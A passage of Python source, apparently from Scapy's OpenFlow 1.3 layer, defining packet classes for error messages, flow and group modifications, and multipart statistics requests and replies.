"OFPBAC_BAD_TYPE", 1: "OFPBAC_BAD_LEN", 2: "OFPBAC_BAD_EXPERIMENTER", 3: "OFPBAC_BAD_EXP_TYPE", 4: "OFPBAC_BAD_OUT_PORT", 5: "OFPBAC_BAD_ARGUMENT", 6: "OFPBAC_EPERM", 7: "OFPBAC_TOO_MANY", 8: "OFPBAC_BAD_QUEUE", 9: "OFPBAC_BAD_OUT_GROUP", 10: "OFPBAC_MATCH_INCONSISTENT", # noqa: E501 11: "OFPBAC_UNSUPPORTED_ORDER", # noqa: E501 12: "OFPBAC_BAD_TAG", 13: "OFPBAC_BAD_SET_TYPE", 14: "OFPBAC_BAD_SET_LEN", 15: "OFPBAC_BAD_SET_ARGUMENT"}), # noqa: E501 OFPacketField("data", "", Raw)] class OFPETBadInstruction(_ofp_header): name = "OFPET_BAD_INSTRUCTION" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 3, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBIC_UNKNOWN_INST", 1: "OFPBIC_UNSUP_INST", 2: "OFPBIC_BAD_TABLE_ID", 3: "OFPBIC_UNSUP_METADATA", 4: "OFPBIC_UNSUP_METADATA_MASK", # noqa: E501 5: "OFPBIC_BAD_EXPERIMENTER", 6: "OFPBIC_BAD_EXP_TYPE", 7: "OFPBIC_BAD_LEN", 8: "OFPBIC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETBadMatch(_ofp_header): name = "OFPET_BAD_MATCH" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 4, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBMC_BAD_TYPE", 1: "OFPBMC_BAD_LEN", 2: "OFPBMC_BAD_TAG", 3: "OFPBMC_BAD_DL_ADDR_MASK", 4: "OFPBMC_BAD_NW_ADDR_MASK", 5: "OFPBMC_BAD_WILDCARDS", 6: "OFPBMC_BAD_FIELD", 7: "OFPBMC_BAD_VALUE", 8: "OFPBMC_BAD_MASK", 9: "OFPBMC_BAD_PREREQ", 10: "OFPBMC_DUP_FIELD", 11: "OFPBMC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETFlowModFailed(_ofp_header): name = "OFPET_FLOW_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 5, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPFMFC_UNKNOWN", 1: "OFPFMFC_TABLE_FULL", 2: "OFPFMFC_BAD_TABLE_ID", 3: "OFPFMFC_OVERLAP", 4: "OFPFMFC_EPERM", 5: "OFPFMFC_BAD_TIMEOUT", 6: "OFPFMFC_BAD_COMMAND", 7: "OFPFMFC_BAD_FLAGS"}), OFPacketField("data", "", Raw)] class OFPETGroupModFailed(_ofp_header): name = "OFPET_GROUP_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 6, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPGMFC_GROUP_EXISTS", 1: "OFPGMFC_INVALID_GROUP", 2: "OFPGMFC_WEIGHT_UNSUPPORTED", # noqa: E501 3: "OFPGMFC_OUT_OF_GROUPS", 4: "OFPGMFC_OUT_OF_BUCKETS", 5: "OFPGMFC_CHAINING_UNSUPPORTED", # noqa: E501 6: "OFPGMFC_WATCH_UNSUPPORTED", # noqa: E501 7: "OFPGMFC_LOOP", 8: "OFPGMFC_UNKNOWN_GROUP", 9: "OFPGMFC_CHAINED_GROUP", 10: "OFPGMFC_BAD_TYPE", 11: "OFPGMFC_BAD_COMMAND", 12: "OFPGMFC_BAD_BUCKET", 13: "OFPGMFC_BAD_WATCH", 14: "OFPFMFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETPortModFailed(_ofp_header): name = "OFPET_PORT_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 7, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPPMFC_BAD_PORT", 1: "OFPPMFC_BAD_HW_ADDR", 2: "OFPPMFC_BAD_CONFIG", 3: "OFPPMFC_BAD_ADVERTISE", 4: "OFPPMFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETTableModFailed(_ofp_header): name = "OFPET_TABLE_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 8, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPTMFC_BAD_TABLE", 1: "OFPTMFC_BAD_CONFIG", 2: "OFPTMFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETQueueOpFailed(_ofp_header): name = "OFPET_QUEUE_OP_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 9, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPQOFC_BAD_PORT", 1: "OFPQOFC_BAD_QUEUE", 2: "OFPQOFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETSwitchConfigFailed(_ofp_header): name = "OFPET_SWITCH_CONFIG_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 10, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPSCFC_BAD_FLAGS", 1: "OFPSCFC_BAD_LEN", 2: "OFPSCFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETRoleRequestFailed(_ofp_header): name = "OFPET_ROLE_REQUEST_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 11, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPRRFC_STALE", 1: "OFPRRFC_UNSUP", 2: "OFPRRFC_BAD_ROLE"}), OFPacketField("data", "", Raw)] class OFPETMeterModFailed(_ofp_header): name = "OFPET_METER_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 12, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPMMFC_UNKNOWN", 1: "OFPMMFC_METER_EXISTS", 2: "OFPMMFC_INVALID_METER", 3: "OFPMMFC_UNKNOWN_METER", 4: "OFPMMFC_BAD_COMMAND", 5: "OFPMMFC_BAD_FLAGS", 6: "OFPMMFC_BAD_RATE", 7: "OFPMMFC_BAD_BURST", 8: "OFPMMFC_BAD_BAND", 9: "OFPMMFC_BAD_BAND_VALUE", 10: "OFPMMFC_OUT_OF_METERS", 11: "OFPMMFC_OUT_OF_BANDS"}), OFPacketField("data", "", Raw)] class OFPETTableFeaturesFailed(_ofp_header): name = "OFPET_TABLE_FEATURES_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 13, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPTFFC_BAD_TABLE", 1: "OFPTFFC_BAD_METADATA", 2: "OFPTFFC_BAD_TYPE", 3: "OFPTFFC_BAD_LEN", 4: "OFPTFFC_BAD_ARGUMENT", 5: "OFPTFFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETExperimenter(_ofp_header): name = "OFPET_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", "OFPET_EXPERIMENTER", ofp_error_type), # noqa: E501 ShortField("exp_type", None), IntField("experimenter", None), OFPacketField("data", "", Raw)] # ofp_error_cls allows generic method OpenFlow3() # to choose the right class for dissection ofp_error_cls = {0: OFPETHelloFailed, 1: OFPETBadRequest, 2: OFPETBadAction, 3: OFPETBadInstruction, 4: OFPETBadMatch, 5: OFPETFlowModFailed, 6: OFPETGroupModFailed, 7: OFPETPortModFailed, 8: OFPETTableModFailed, 9: OFPETQueueOpFailed, 10: OFPETSwitchConfigFailed, 11: OFPETRoleRequestFailed, 12: OFPETMeterModFailed, 13: OFPETTableFeaturesFailed, 65535: OFPETExperimenter} # end of OFPT_ERRORS # class OFPTEchoRequest(_ofp_header): name = "OFPT_ECHO_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 2, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTEchoReply(_ofp_header): name = "OFPT_ECHO_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 3, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTExperimenter(_ofp_header): name = "OFPT_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 4, ofp_type), ShortField("len", None), IntField("xid", 0), IntField("experimenter", 0), IntField("exp_type", 0)] class OFPTFeaturesRequest(_ofp_header): name = "OFPT_FEATURES_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 5, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTFeaturesReply(_ofp_header): name = "OFPT_FEATURES_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 6, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("datapath_id", 0), IntField("n_buffers", 0), ByteField("n_tables", 1), ByteField("auxiliary_id", 0), XShortField("pad", 0), FlagsField("capabilities", 0, 32, ["FLOW_STATS", "TABLE_STATS", "PORT_STATS", "GROUP_STATS", "RESERVED", # undefined "IP_REASM", "QUEUE_STATS", "ARP_MATCH_IP", # undefined # noqa: E501 "PORT_BLOCKED"]), IntField("reserved", 0)] class OFPTGetConfigRequest(_ofp_header): name = "OFPT_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 7, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTGetConfigReply(_ofp_header): name = "OFPT_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 8, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 0)] class OFPTSetConfig(_ofp_header): name = "OFPT_SET_CONFIG" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 9, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 128)] class OFPTPacketIn(_ofp_header): name = "OFPT_PACKET_IN" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 10, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortField("total_len", 0), ByteEnumField("reason", 0, {0: "OFPR_NO_MATCH", 1: "OFPR_ACTION", 2: "OFPR_INVALID_TTL"}), ByteEnumField("table_id", 0, ofp_table), LongField("cookie", 0), MatchField("match"), XShortField("pad", 0), PacketField("data", "", Ether)] class OFPTFlowRemoved(_ofp_header): name = "OFPT_FLOW_REMOVED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 11, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("cookie", 0), ShortField("priority", 0), ByteEnumField("reason", 0, {0: "OFPRR_IDLE_TIMEOUT", 1: "OFPRR_HARD_TIMEOUT", 2: "OFPRR_DELETE", 3: "OFPRR_GROUP_DELETE"}), ByteEnumField("table_id", 0, ofp_table), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), LongField("packet_count", 0), LongField("byte_count", 0), MatchField("match")] class OFPTPortStatus(_ofp_header): name = "OFPT_PORT_STATUS" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 12, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("reason", 0, {0: "OFPPR_ADD", 1: "OFPPR_DELETE", 2: "OFPPR_MODIFY"}), XBitField("pad", 0, 56), PacketField("desc", OFPPort(), OFPPort)] class OFPTPacketOut(_ofp_header): name = "OFPT_PACKET_OUT" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 13, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), IntEnumField("in_port", "CONTROLLER", ofp_port_no), FieldLenField("actions_len", None, fmt="H", length_of="actions"), # noqa: E501 XBitField("pad", 0, 48), PacketListField("actions", [], OFPAT, OFPAT, length_from=lambda pkt:pkt.actions_len), PacketField("data", "", Ether)] class OFPTFlowMod(_ofp_header): name = "OFPT_FLOW_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 14, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("cookie", 0), LongField("cookie_mask", 0), ByteEnumField("table_id", 0, ofp_table), ByteEnumField("cmd", 0, {0: "OFPFC_ADD", 1: "OFPFC_MODIFY", 2: "OFPFC_MODIFY_STRICT", 3: "OFPFC_DELETE", 4: "OFPFC_DELETE_STRICT"}), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), ShortField("priority", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), IntEnumField("out_port", "ANY", ofp_port_no), IntEnumField("out_group", "ANY", ofp_group), FlagsField("flags", 0, 16, ["SEND_FLOW_REM", "CHECK_OVERLAP", "RESET_COUNTS", "NO_PKT_COUNTS", "NO_BYT_COUNTS"]), XShortField("pad", 0), MatchField("match"), PacketListField("instructions", [], OFPIT, length_from=lambda pkt:pkt.len - 48 - (pkt.match.len + (8 - pkt.match.len % 8) % 8))] # noqa: E501 # include match padding to match.len class OFPTGroupMod(_ofp_header): name = "OFPT_GROUP_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 15, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("cmd", 0, {0: "OFPGC_ADD", 1: "OFPGC_MODIFY", 2: "OFPGC_DELETE"}), ByteEnumField("group_type", 0, {0: "OFPGT_ALL", 1: "OFPGT_SELECT", 2: "OFPGT_INDIRECT", 3: "OFPGT_FF"}), XByteField("pad", 0), IntEnumField("group_id", 0, ofp_group), PacketListField("buckets", [], OFPBucket, length_from=lambda pkt:pkt.len - 16)] class OFPTPortMod(_ofp_header): name = "OFPT_PORT_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port_no", 0, ofp_port_no), XIntField("pad1", 0), MACField("hw_addr", "0"), XShortField("pad2", 0), FlagsField("config", 0, 32, ofp_port_config), FlagsField("mask", 0, 32, ofp_port_config), FlagsField("advertise", 0, 32, ofp_port_features), XIntField("pad3", 0)] class OFPTTableMod(_ofp_header): name = "OFPT_TABLE_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad", 0), IntEnumField("config", 0, {3: "OFPTC_DEPRECATED_MASK"})] ##################################################### # OFPT_MULTIPART # ##################################################### ofp_multipart_types = {0: "OFPMP_DESC", 1: "OFPMP_FLOW", 2: "OFPMP_AGGREGATE", 3: "OFPMP_TABLE", 4: "OFPMP_PORT_STATS", 5: "OFPMP_QUEUE", 6: "OFPMP_GROUP", 7: "OFPMP_GROUP_DESC", 8: "OFPMP_GROUP_FEATURES", 9: "OFPMP_METER", 10: "OFPMP_METER_CONFIG", 11: "OFPMP_METER_FEATURES", 12: "OFPMP_TABLE_FEATURES", 13: "OFPMP_PORT_DESC", 65535: "OFPST_VENDOR"} ofpmp_request_flags = ["REQ_MORE"] ofpmp_reply_flags = ["REPLY_MORE"] class OFPMPRequestDesc(_ofp_header): name = "OFPMP_REQUEST_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 0, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad", 0)] class OFPMPReplyDesc(_ofp_header): name = "OFPMP_REPLY_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 0, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad", 0), StrFixedLenField("mfr_desc", "", 256), StrFixedLenField("hw_desc", "", 256), StrFixedLenField("sw_desc", "", 256), StrFixedLenField("serial_num", "", 32), StrFixedLenField("dp_desc", "", 256)] class OFPMPRequestFlow(_ofp_header): name = "OFPMP_REQUEST_FLOW" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 1, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), ByteEnumField("table_id", "ALL", ofp_table), X3BytesField("pad2", 0), IntEnumField("out_port", "ANY", ofp_port_no), IntEnumField("out_group", "ANY", ofp_group), IntField("pad3", 0), LongField("cookie", 0), LongField("cookie_mask", 0), MatchField("match")] class OFPFlowStats(_ofp_header_item): name = "OFP_FLOW_STATS" fields_desc = [ShortField("len", None), ByteEnumField("table_id", 0, ofp_table), XByteField("pad1", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("priority", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), FlagsField("flags", 0, 16, ["SEND_FLOW_REM", "CHECK_OVERLAP", "RESET_COUNTS", "NO_PKT_COUNTS", "NO_BYT_COUNTS"]), IntField("pad2", 0), LongField("cookie", 0), LongField("packet_count", 0), LongField("byte_count", 0), MatchField("match"), PacketListField("instructions", [], OFPIT, length_from=lambda pkt:pkt.len - 52 - pkt.match.len)] # noqa: E501 def extract_padding(self, s): return b"", s class OFPMPReplyFlow(_ofp_header): name = "OFPMP_REPLY_FLOW" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 1, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("flow_stats", [], OFPFlowStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestAggregate(OFPMPRequestFlow): name = "OFPMP_REQUEST_AGGREGATE" mp_type = 2 class OFPMPReplyAggregate(_ofp_header): name = "OFPMP_REPLY_AGGREGATE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 2, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), LongField("packet_count", 0), LongField("byte_count", 0), IntField("flow_count", 0), XIntField("pad2", 0)] class OFPMPRequestTable(_ofp_header): name = "OFPMP_REQUEST_TABLE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 3, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] class OFPTableStats(Packet): name = "OFP_TABLE_STATS" fields_desc = [ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad1", 0), IntField("active_count", 0), LongField("lookup_count", 0), LongField("matched_count", 0)] def extract_padding(self, s): return b"", s class OFPMPReplyTable(_ofp_header): name = "OFPMP_REPLY_TABLE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 3, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("table_stats", None, OFPTableStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestPortStats(_ofp_header): name = "OFPMP_REQUEST_PORT_STATS" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 4, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", "ANY", ofp_port_no), XIntField("pad", 0)] class OFPPortStats(Packet): def extract_padding(self, s): return b"", s name = "OFP_PORT_STATS" fields_desc = [IntEnumField("port_no", 0, ofp_port_no), XIntField("pad", 0), LongField("rx_packets", 0), LongField("tx_packets", 0), LongField("rx_bytes", 0), LongField("tx_bytes", 0), LongField("rx_dropped", 0), LongField("tx_dropped", 0), LongField("rx_errors", 0), LongField("tx_errors", 0), LongField("rx_frame_err", 0), LongField("rx_over_err", 0), LongField("rx_crc_err", 0), LongField("collisions", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0)] class OFPMPReplyPortStats(_ofp_header): name = "OFPMP_REPLY_PORT_STATS" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 4, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("port_stats", None, OFPPortStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestQueue(_ofp_header): name = "OFPMP_REQUEST_QUEUE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 5, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("port_no", "ANY", ofp_port_no), IntEnumField("queue_id", "ALL", ofp_queue)] class OFPQueueStats(Packet): name = "OFP_QUEUE_STATS" fields_desc = [IntEnumField("port_no", 0, ofp_port_no), IntEnumField("queue_id", 0, ofp_queue), LongField("tx_bytes", 0), LongField("tx_packets", 0), LongField("tx_errors", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0)] def extract_padding(self, s): return b"", s class OFPMPReplyQueue(_ofp_header): name = "OFPMP_REPLY_QUEUE" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 5, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("queue_stats", None, OFPQueueStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestGroup(_ofp_header): name = "OFPMP_REQUEST_GROUP" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 6, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("group_id", "ANY", ofp_group), XIntField("pad2", 0)] class OFPBucketStats(Packet): name = "OFP_BUCKET_STATS" fields_desc = [LongField("packet_count", 0), LongField("byte_count", 0)] def extract_padding(self, s): return b"", s class OFPGroupStats(_ofp_header_item): name = "OFP_GROUP_STATS" fields_desc = [ShortField("len", None), XShortField("pad1", 0), IntEnumField("group_id", 0, ofp_group), IntField("ref_count", 0), IntField("pad2", 0), LongField("packet_count", 0), LongField("byte_count", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), PacketListField("bucket_stats", None, OFPBucketStats, length_from=lambda pkt:pkt.len - 40)] def extract_padding(self, s): return b"", s class OFPMPReplyGroup(_ofp_header): name = "OFPMP_REPLY_GROUP" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 6, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("group_stats", [], OFPGroupStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestGroupDesc(_ofp_header): name = "OFPMP_REQUEST_GROUP_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 7, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] class OFPGroupDesc(_ofp_header_item): name = "OFP_GROUP_DESC" fields_desc = [ShortField("len", None), ByteEnumField("type", 0, {0: "OFPGT_ALL", 1: "OFPGT_SELECT", 2: "OFPGT_INDIRECT", 3: "OFPGT_FF"}), XByteField("pad", 0), IntEnumField("group_id", 0, ofp_group), PacketListField("buckets", None, OFPBucket, length_from=lambda pkt: pkt.len - 8)] def extract_padding(self, s): return b"", s class OFPMPReplyGroupDesc(_ofp_header): name = "OFPMP_REPLY_GROUP_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 7, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("group_descs", [], OFPGroupDesc, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestGroupFeatures(_ofp_header): name = "OFPMP_REQUEST_GROUP_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 8, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0)] ofp_action_types_flags = [v for v in ofp_action_types.values() if v != 'OFPAT_EXPERIMENTER'] class OFPMPReplyGroupFeatures(_ofp_header): name = "OFPMP_REPLY_GROUP_FEATURES" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 8, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), FlagsField("types", 0, 32, ["ALL", "SELECT", "INDIRECT", "FF"]), FlagsField("capabilities", 0, 32, ["SELECT_WEIGHT", "SELECT_LIVENESS", "CHAINING", "CHAINING_CHECKS"]), IntField("max_group_all", 0), IntField("max_group_select", 0), IntField("max_group_indirect", 0), IntField("max_group_ff", 0), # no ofpat_experimenter flag FlagsField("actions_all", 0, 32, ofp_action_types_flags), FlagsField("actions_select", 0, 32, ofp_action_types_flags), FlagsField("actions_indirect", 0, 32, ofp_action_types_flags), # noqa: E501 FlagsField("actions_ff", 0, 32, ofp_action_types_flags)] class OFPMPRequestMeter(_ofp_header): name = "OFPMP_REQUEST_METER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 9, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("meter_id", "ALL", ofp_meter), XIntField("pad2", 0)] class OFPMeterBandStats(Packet): name = "OFP_METER_BAND_STATS" fields_desc = [LongField("packet_band_count", 0), LongField("byte_band_count", 0)] def extract_padding(self, s): return b"", s class OFPMeterStats(Packet): name = "OFP_GROUP_STATS" fields_desc = [IntEnumField("meter_id", 1, ofp_meter), ShortField("len", None), XBitField("pad", 0, 48), IntField("flow_count", 0), LongField("packet_in_count", 0), LongField("byte_in_count", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), PacketListField("band_stats", None, OFPMeterBandStats, length_from=lambda pkt:pkt.len - 40)] def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay def extract_padding(self, s): return b"", s class OFPMPReplyMeter(_ofp_header): name = "OFPMP_REPLY_METER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 9, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad1", 0), PacketListField("meter_stats", [], OFPMeterStats, length_from=lambda pkt:pkt.len - 16)] class OFPMPRequestMeterConfig(_ofp_header): name = "OFPMP_REQUEST_METER_CONFIG" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 10, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), IntEnumField("meter_id", "ALL", ofp_meter), XIntField("pad2", 0)] class OFPMeterConfig(_ofp_header_item): name = "OFP_METER_CONFIG" fields_desc = [ShortField("len", None), FlagsField("flags", 0, 16, ["KBPS", "PKTPS", "BURST", "STATS"]), IntEnumField("meter_id", 1, ofp_meter), PacketListField("bands", [], OFPMBT, length_from=lambda pkt:pkt.len - 8)] def extract_padding(self, s): return b"", s class OFPMPReplyMeterConfig(_ofp_header): name = "OFPMP_REPLY_METER_CONFIG" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), 